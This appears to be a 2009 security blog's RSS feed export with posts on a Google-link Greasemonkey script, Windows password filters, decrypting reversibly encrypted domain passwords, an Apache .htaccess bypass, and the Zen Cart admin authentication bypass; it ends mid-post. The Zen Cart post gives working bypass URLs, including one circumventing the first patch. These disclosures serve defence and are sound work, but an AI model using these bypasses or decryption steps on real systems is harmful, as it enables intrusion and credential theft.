<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7971789192074433033</atom:id><lastBuildDate>Wed, 06 Jan 2010 19:16:23 +0000</lastBuildDate><title>blog.teusink.net</title><description>About security, pentesting and everything else</description><link>http://blog.teusink.net/</link><managingEditor>noreply@blogger.com (Niels Teusink)</managingEditor><generator>Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/blogteusinknet" /><feedburner:info uri="blogteusinknet" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-3221525387705828098</guid><pubDate>Sun, 06 Sep 2009 22:05:00 +0000</pubDate><atom:updated>2009-09-07T00:29:55.236+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">firefox</category><category domain="http://www.blogger.com/atom/ns#">greasemonkey</category><category domain="http://www.blogger.com/atom/ns#">google</category><title>Greasemonkey script to change Google url?sa=t links to direct links</title><description>Google recently &lt;a href="http://analytics.blogspot.com/2009/04/upcoming-change-to-googlecom-search.html"&gt;decided&lt;/a&gt; to change the links in Google results from direct links to tracking links. So instead of getting a nice http://blog.teusink.net/ link in your results, you will be getting a http://www.google.com/url?sa=t&amp;amp;source=web&amp;amp;ct=res.. etc link which will redirect you to the correct site.&lt;br /&gt;
&lt;br /&gt;
I was rather annoyed by this as I use Google a lot when pentesting and often like to copy &amp;amp; paste links from the search results. Instead of getting a direct link to a site, I end up with a huge google.com link. So I decided to write a little &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748"&gt;Greasemonkey&lt;/a&gt; script to fix this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;// ==UserScript==
// @name                Google Direct Links
// @namespace           http://blog.teusink.net/
// @description         Script that changes annoying new-style Google links to direct links
// @include             http://google.tld/search?*
// @include             http://www.google.tld/search?*
// ==/UserScript==

var allElements, thisElement;
allElements = document.evaluate('//*[@onmousedown]',document,null,XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,null);
for (var i = 0; i &amp;lt; allElements.snapshotLength; i++) {
 thisElement = allElements.snapshotItem(i);
 if(thisElement.nodeName.toUpperCase() == 'A'){
  thisElement.removeAttribute('onmousedown');
 }
}
&lt;/pre&gt;This script removes the onmousedown handlers on all links in Google search results. Another way to achieve this is to disable Javascript on these pages. To use the script paste it into a text file, save it as googledirectlinks.user.js, install &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748"&gt;Greasemonkey&lt;/a&gt; and drag the googledirectlinks.user.js onto a Firefox window (Greasemonkey will prompt you to install the script).&lt;br /&gt;
&lt;br /&gt;
Another nice extension is &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1093"&gt;Adaptive Referer Remover&lt;/a&gt;. This add-on allows you to remove Referer headers if they contain certain patterns. So I added the following pattern to prevent sites from seeing what Google query I entered to find them (you could add rules for other Google features as well or even block it entirely):&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;^http://www\.google\..*search&lt;/pre&gt;&lt;br /&gt;
This add-on refuses to install if you use Firefox 3.5, but it works fine in that version. You can install the &lt;a href="http://www.oxymoronical.com/web/firefox/nightly"&gt;Nightly Tester Tools&lt;/a&gt; extension, which enables you to install it anyway (or you could edit the &lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/1093/addon-1093-latest.xpi"&gt;.xpi file&lt;/a&gt; manually).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-3221525387705828098?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/iEgdug6ZpJ8/greasemonkey-script-to-change-google.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.teusink.net/2009/09/greasemonkey-script-to-change-google.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7494551107285252062</guid><pubDate>Thu, 27 Aug 2009 16:24:00 +0000</pubDate><atom:updated>2009-08-27T18:24:00.718+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">reversible encryption</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Windows password filters</title><description>During my HAR talk, I briefly described the password filter mechanism. A password filter is a DLL that is listed in the registry at &lt;span style="font-family: courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Whenever a user changes his password, Windows passes the plaintext password to all the DLL’s listed there. The password filter can then determine whether the password meets its requirements (complexity, length etc.) and approve or disapprove the password. You can use this feature to implement your own password  filter DLL and enforce your custom company password policy.&lt;br /&gt;&lt;br /&gt;Of course, a password filter could also choose to do something else with the plaintext password. As I described in my &lt;a href="http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"&gt;previous blog post&lt;/a&gt;, Microsoft does this with RASSFM.DLL. An attacker could also create his own backdoor password filter that, for example, sends the password to a remote server.&lt;br /&gt;&lt;br /&gt; The procedures you need to implement are quite &lt;a href="http://msdn.microsoft.com/en-us/library/ms721882%28VS.85%29.aspx"&gt;well documented&lt;/a&gt; on MSDN. There is even a universal password filter &lt;a href="http://sourceforge.net/projects/passwdhk/"&gt;available on Sourceforge&lt;/a&gt;. This allows you to pass the password to a custom script.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-7494551107285252062?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/RQo5iEB3ZOU/windows-password-filters.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/08/windows-password-filters.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-1557739875391542666</guid><pubDate>Wed, 26 Aug 2009 17:21:00 +0000</pubDate><atom:updated>2009-08-26T19:21:00.834+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">reversible encryption</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Passwords stored using reversible encryption: how it works (part 2)</title><description>In &lt;a href="http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"&gt;part one&lt;/a&gt; of this article, I described how the reversible encryption of Windows domain passwords works. In this part, we will look at the security of this mechanism.&lt;br /&gt;&lt;br /&gt;To decrypt the password you need the following components:&lt;br /&gt;-    The encrypted password (G$RADIUSCHAP)&lt;br /&gt;-    The 16 byte random (G$RADIUSCHAPKEY)&lt;br /&gt;-    The global LSA secret (G$MSRADIUSCHAPKEY)&lt;br /&gt;-    A static key hardcoded in RASSFM.DLL&lt;br /&gt;&lt;br /&gt;The hardest thing to get is that global LSA secret. This is stored in active directory and synchronized between domain controllers. To access this key, you need domain administrator privileges. An obvious risk here is that once someone gains domain administrator privileges, he won’t need to crack any passwords, but can simply decrypt them. Of course, if an attacker gains domain administrator privileges on your domain, you are already in big trouble anyway.&lt;br /&gt;However, the other components are all semi-public information. The static key is hardcoded in RASSFM.DLL which comes with every Windows server, so is easy to get. The G$RADIUSCHAP and G$RADIUSCHAPKEY are stored in active directory in the userParameters structure. If you have a user account on a domain you can use AD Explorer to access the Active Directory database and read this information. Of course, to decrypt the password you will still need that LSA secret.&lt;br /&gt;&lt;br /&gt;The encrypted version of the password can be interesting though; by looking at the encrypted password you can derive the length of the plaintext password. Two examples I used in my presentation:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Pwd1 encrypted:     0f53 8420 9418 05ce 01ad&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Pwd12 encrypted:    5d69 9375 6f92 1b63 7728 439f &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, by looking at the encrypted passwords you should notice that the encrypted version of Pwd12 is two bytes longer than the encrypted version of Pwd1. So, although we cannot determine from just looking at the encrypted password that they are very similar, we can determine their length. What this means is, that as a domain user, you can determine the length of other people’s passwords, which could be quite interesting.&lt;br /&gt;&lt;br /&gt;If you obtain the LSA secret somehow (maybe because you temporarily gain domain administrator privileges), from that point on you can decrypt passwords stored using reversible encryption. This could be used as a nice backdoor, just steal the LSA secret, enable reversible encryption (if it hasn’t been enabled yet) and you can grab the domain administrator password with just a normal user account.&lt;br /&gt;&lt;br /&gt;Someone in the HAR 2009 audience had a very nice question: Is it possible to recreate the LSA secret if you’re afraid it has been stolen. Of course the better option is to recreate the entire domain, but this is not always an option. To recreate the LSA secret you need to write a program that sets the LSA secret to NULL. According to the documentation, Windows will delete the LSA secret. It will generate a new LSA secret when it needs to encrypt another password. Of course, Windows won’t be able to decrypt the passwords stored before that point anymore. However, it will still try to decrypt them using the new LSA secret, which will result in gibberish most of the time. If you’re really unlucky it could decrypt the first two bytes to NULL, which basically means the password is suddenly empty. So if you ever have to do this, resetting all passwords immediately is probably a good idea.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-1557739875391542666?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/DZlqnB5AmyU/passwords-stored-using-reversible_26.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6985313040628865719</guid><pubDate>Tue, 25 Aug 2009 17:57:00 +0000</pubDate><atom:updated>2009-08-25T20:14:13.590+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>HAR 2009 talk references</title><description>I promised to put up some nice ‘further reading’ material for those who have seen my HAR talk. So here it is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;LM/NTLM&lt;/span&gt;&lt;br /&gt;&lt;a href="http://support.microsoft.com/kb/299656"&gt;Disabling the LM hash&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.freerainbowtables.com/"&gt;Free Rainbow Tables&lt;/a&gt; and &lt;a href="http://tbhost.eu/"&gt;download site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Passing the hash&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/bid/233/discuss"&gt;The original post from 1997 by Paul Ashton&lt;/a&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;Core Pass-The-Hash toolkit&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cgi.tenablesecurity.com/tenable/smbshell.php"&gt;Tenable SMBshell&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Token stealing&lt;/span&gt;&lt;br /&gt;&lt;a href="http://labs.mwrinfosecurity.com/projectdetail.php?project=4"&gt;Luke Jennings research page&lt;/a&gt;&lt;br /&gt;&lt;a href="http://carnal0wnage.blogspot.com/2008/05/token-passing-with-incognito.html"&gt;A tutorial on the tool by CG&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can see the video of my talk &lt;a href="http://www.rehash.nl"&gt;here&lt;/a&gt; or download it &lt;a href="http://jinx.etv.cx/har/mp4/"&gt;here&lt;/a&gt; or &lt;a href="http://space.oeste.de/har2009/images1.noterik.com/har/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-6985313040628865719?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/-qi_EC4Lvcw/har-2009-talk-references.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/08/har-2009-talk-references.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-8429775373608918409</guid><pubDate>Tue, 25 Aug 2009 17:36:00 +0000</pubDate><atom:updated>2009-08-25T19:40:49.964+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">reversible encryption</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Passwords stored using reversible encryption: how it works (part 1)</title><description>In case you missed my HAR2009 talk: in the second part I talked about a Windows feature called ‘Store passwords using reversible encryption’. When this is enabled (per user or for the entire domain), Windows stores the password encrypted, but in such a way that it can reverse the encryption and recover the plaintext password. This feature exists because some authentication protocols require the plaintext password to function correctly, the two most common examples are HTTP Digest Authentication and CHAP.&lt;br /&gt;&lt;br /&gt;This feature is not enabled by default but I’ve seen it a couple of times in customer networks. As I couldn’t find any description of how this mechanism works or any tool to recover these passwords, I decided to investigate.&lt;br /&gt;&lt;br /&gt;When you change your password on a domain that has reversible encryption enabled, a &lt;a href="http://msdn.microsoft.com/en-us/library/ms722496%28VS.85%29.aspx"&gt;password filter&lt;/a&gt; called RASSFM.DLL is used to store the password using reversible encryption. The key that is used to do this is G$MSRADIUSCHAPKEY, which is stored as a global &lt;a href="http://msdn.microsoft.com/en-us/library/ms721811%28VS.85%29.aspx"&gt;LSA secret&lt;/a&gt;. This key is decrypted using a static key  (hardcoded in the DLL). The result of this operation is combined with a 16-byte random value (generated every time someone changes their password) and that key is used to encrypt a Unicode version of the password using the RC4 algorithm.&lt;br /&gt;&lt;br /&gt;I found out these passwords are stored in Active Directory in a per-user structure called userParameters. If you use a tool such as &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx"&gt;AD Explorer&lt;/a&gt; you can look at this structure in an AD that has enabled this feature. When you look at this structure, it looks like a binary blob, with some human-readable parts in there. When you enable reversible encryption you will notice two readable strings: G$RADIUSCHAP and G$RADIUSCHAPKEY. The userParameters can also be used to store settings unrelated to reversible encryption, such as per-user Terminal Server settings.&lt;br /&gt;&lt;br /&gt;Following the G$RADIUSCHAP part is the ascii-hex encoded encrypted password. The part following the G$RADIUSCHAPKEY name is the 16-byte random value.&lt;br /&gt;&lt;br /&gt;So to decrypt this password we use the following steps:&lt;br /&gt;-    Take the G$MSRADIUSCHAPKEY Global LSA secret&lt;br /&gt;-    Decrypt it using the static key&lt;br /&gt;-    Parse the userParameters structure and extract the G$RADIUSCHAP and G$RADIUSCHAPKEY values&lt;br /&gt;-    Combine the value of G$RADIUSCHAPKEY (the 16-byte random) with the decrypted LSA secret to create an RC4 key&lt;br /&gt;-    Decrypt the value of G$RADIUSCHAP using that RC4 key&lt;br /&gt;&lt;br /&gt;The result is a plaintext Unicode password. My tool 'Revdump' automates this procedure.&lt;br /&gt;&lt;br /&gt;In part two of this article, I will look at the security of this mechanism.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-8429775373608918409?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/2--dCGqyJOQ/passwords-stored-using-reversible.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-3772767018435569506</guid><pubDate>Sat, 15 Aug 2009 11:00:00 +0000</pubDate><atom:updated>2010-01-06T20:09:59.909+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><title>RevDump v0.2 release</title><description>This is my tool to dump password stored using &lt;a href="http://technet.microsoft.com/en-us/library/cc784581%28WS.10%29.aspx"&gt;reversible encryption&lt;/a&gt;. You can download it &lt;a href="http://www.teusink.net/Revdump_0.2.zip"&gt;here&lt;/a&gt;. Enjoy your stay at &lt;a href="http://har2009.org/"&gt;HAR&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-3772767018435569506?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/KLeZNaqRMn8/revdump-v02-release_15.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/08/revdump-v02-release_15.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4813029537497152096</guid><pubDate>Thu, 23 Jul 2009 18:48:00 +0000</pubDate><atom:updated>2009-07-23T21:14:38.329+02:00</atom:updated><title>A common Apache .htaccess misconfiguration</title><description>If you want to restrict a directory on an Apache server to specific users, you will probably use an &lt;a href="http://httpd.apache.org/docs/2.0/howto/htaccess.html"&gt;.htaccess/.htpasswd&lt;/a&gt; configuration. This allows you to add authentication to a directory or an entire site. The sad thing is, if I &lt;a href="http://www.google.com/search?q=.htaccess+example+%22require+valid-user%22"&gt;search&lt;/a&gt; for sample configurations on Google, five out of ten examples are insecure…&lt;br /&gt;&lt;br /&gt;In fact years ago, I made the mistake of taking one of those sample configurations and used it on a site I had made. A typical .htaccess example you will find often looks like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;AuthUserFile   /var/www/.htpasswd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;AuthName "My Private Files"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;AuthType Basic&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;limit GET POST&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;require valid-user&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;/limit&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A rather straightforward example, so what is the problem? This configuration only partially restricts access to the ‘protected’ resource. The issue is in the &lt;a href="http://httpd.apache.org/docs/2.0/mod/core.html#limit"&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;limit&amp;gt;&lt;/span&gt;&lt;/a&gt; tag. This tag restricts access to the resource if the request uses one of the specified HTTP methods, in this case GET and POST. Although these are the most popular methods, they certainly are not the only ones. &lt;a href="http://www.ietf.org/rfc/rfc2616.txt"&gt;RFC2616&lt;/a&gt; (HTTP 1.1) lists eight methods: GET, POST, HEAD, OPTIONS, PUT, DELETE, CONNECT and TRACE. &lt;a href="http://www.ietf.org/rfc/rfc2518.txt"&gt;RFC2518&lt;/a&gt; (WebDAV) adds a couple more. In other words, if you use one of the other one request methods, you can bypass the authentication. In some cases, using one of those methods will give you the protected page contents. You can also &lt;a href="https://www.science.uva.nl/ict/guides/www/access/index_nl.html"&gt;find&lt;/a&gt; &lt;a href="http://ist.mit.edu/services/web/reference/web-resources/https"&gt;plenty&lt;/a&gt; &lt;a href="http://www.udel.edu/topics/internet/WWW/restricting.html"&gt;of&lt;/a&gt; &lt;a href="https://dir.jpl.nasa.gov/developer/setup-apache-ldap1.3_text.html"&gt;examples&lt;/a&gt; (yes, the last one is nasa.gov) that don’t even limit GET and POST, but just GET, meaning a simple POST request will bypass authentication completely.&lt;br /&gt;&lt;br /&gt;The solution? Simple, do not use the &lt;span style="font-family:courier new;"&gt;&amp;lt;limit&amp;gt;&lt;/span&gt; tag at all. If you omit it, all methods are restricted. If you are in a situation where you want to allow specific request methods, you should use &lt;a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitexcept"&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;limitexcept&amp;gt;&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is certainly not a new issue, it was documented in Apacheweek magazine &lt;a href="http://www.apacheweek.com/issues/97-09-05#configerrors"&gt;in 1997&lt;/a&gt;. You can also find Bugtraq posts detailing instances of the issue, for example &lt;a href="http://www.securityfocus.com/archive/1/472756/30/0/threaded"&gt;this one&lt;/a&gt; which describes an application that restricts only the GET method. If you want more details on this issue, Kernelpanik released a paper about it in 2004, you can find it &lt;a href="http://www.kernelpanik.org/docs/kernelpanik/bme.eng.pdf"&gt;here&lt;/a&gt; (pdf).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-4813029537497152096?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/bqMqq1Fd5Ac/common-apache-htaccess-misconfiguration.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7100230881399559801</guid><pubDate>Mon, 06 Jul 2009 20:15:00 +0000</pubDate><atom:updated>2009-07-06T22:18:09.575+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Speaking at HAR 2009</title><description>The &lt;a href="https://har2009.org/program/"&gt;program&lt;/a&gt; for &lt;a href="https://har2009.org/"&gt;HAR 2009&lt;/a&gt; was publicly announced a couple of days ago and I’m on the speakers list. My talk is called '&lt;a href="https://har2009.org/program/events/63.en.html"&gt;How we break into domains&lt;/a&gt;' and I will go over the steps I usually take when breaking into Windows domains. I have an hour for my talk, so I should be able to cover the technical details as well. Of course, I will also be presenting some new stuff I’ve been working on.&lt;br /&gt;&lt;br /&gt;I had a lot of fun at the two previous events (&lt;a href="http://www.hal2001.org/"&gt;HAL 2001&lt;/a&gt; and &lt;a href="http://whatthehack.org/"&gt;WTH 2005&lt;/a&gt;) and am glad I can contribute a talk this year. See you all at HAR!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-7100230881399559801?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/JXOH2reppqM/speaking-at-har-2009.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/07/speaking-at-har-2009.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-699882906704717018</guid><pubDate>Wed, 24 Jun 2009 22:10:00 +0000</pubDate><atom:updated>2009-06-25T14:35:06.014+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploit development</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">zen cart</category><title>Zen Cart authentication bypass</title><description>&lt;a href="http://www.zen-cart.com/"&gt;Zen Cart&lt;/a&gt; is a popular open source e-commerce application, written in PHP. Yesterday, &lt;a href="http://www.milw0rm.com/exploits/9004"&gt;two&lt;/a&gt; &lt;a href="http://www.milw0rm.com/exploits/9005"&gt;exploits&lt;/a&gt; for Zen Cart showed up on milw0rm. The first one is a remote code execution, the second one an SQL injection exploit. The root cause of the two bugs however, is the same: an authentication bypass on the administrative interface of Zen Cart discoverd by Ghyslain/BlackH. Zen Cart has released a patch for this issue &lt;a href="http://www.zen-cart.com/forum/showthread.php?t=130161"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:&lt;br /&gt;&lt;br /&gt;This code is present in &lt;span style="font-family:courier new;"&gt;/admin/includes/init_includes/init_admin_auth.php&lt;/span&gt; (slightly simplified code):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:courier new;"&gt;if (if (!isset($_SESSION['admin_id']) &amp;amp;&amp;amp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;!(basename($SERVER['PHP_SELF']) == 'password_forgotten.php')) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    zen_redirect('login.php');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.&lt;br /&gt;&lt;br /&gt;The problem here is trusting the &lt;span style="font-family:courier new;"&gt;PHP_SELF&lt;/span&gt; variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request &lt;span style="font-family:courier new;"&gt;http://server.com/index.php&lt;/span&gt;, the &lt;span style="font-family:courier new;"&gt;PHP_SELF&lt;/span&gt; variable will be &lt;span style="font-family:courier new;"&gt;/index.php&lt;/span&gt;. However if I request &lt;span style="font-family:courier new;"&gt;http://server.com/index.php/foobar&lt;/span&gt; , the &lt;span style="font-family:courier new;"&gt;PHP_SELF&lt;/span&gt; variable will be &lt;span style="font-family:courier new;"&gt;/index.php&lt;/span&gt;/foobar, but the script being executed will still be index.php!&lt;br /&gt;&lt;br /&gt;So in this case we can trick Zen Cart into thinking we are accessing &lt;span style="font-family:courier new;"&gt;password_forgotten.php&lt;/span&gt;, while we are actually accessing a different file by requesting:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;http://target/admin/customers.php/password_forgotten.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The file we are executing is &lt;span style="font-family:courier new;"&gt;customers.php&lt;/span&gt;, but &lt;span style="font-family:courier new;"&gt;basename(PHP_SELF)&lt;/span&gt; will return &lt;span style="font-family:courier new;"&gt;password_forgotten.php&lt;/span&gt;! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!&lt;br /&gt;&lt;br /&gt;The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.&lt;br /&gt;&lt;br /&gt;Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string '.php' appears more than once in &lt;span style="font-family:courier new;"&gt;PHP_SELF&lt;/span&gt;.  At first this seems to be an (ugly but) effective fix and I think it is in most cases. However,  Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of '.php'… So if our target is a Windows system, we can circumvent the patch by requesting:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;http://target/admin/customers.PHP/password_forgotten.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So by changing the extension of customers.php to .PHP, we modify the &lt;span style="font-family:courier new;"&gt;PHP_SELF&lt;/span&gt; variable so '.php' is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.&lt;br /&gt;&lt;br /&gt;Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-699882906704717018?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/1AbAp35Dr9Y/zen-cart-authentication-bypass.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.teusink.net/2009/06/zen-cart-authentication-bypass.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4893007977570818359</guid><pubDate>Thu, 04 Jun 2009 18:44:00 +0000</pubDate><atom:updated>2009-06-04T20:49:00.031+02:00</atom:updated><title>Slides of my OWASP talk on CSRF</title><description>Last week I gave a VAC (Vulnerability, Attack, Countermeasure) talk at an OWASP Netherlands meeting. I picked Cross-Site Request Forgery (CSRF) as a topic as it is an often misunderstood and underestimated problem.&lt;br /&gt;&lt;br /&gt;My slides (in English) are available on the OWASP site &lt;a href="http://www.owasp.org/images/f/fb/20090409_VAC-CSRF-Niels_Teusink.pdf"&gt;here&lt;/a&gt;. I am planning on releasing another version of the slides in the 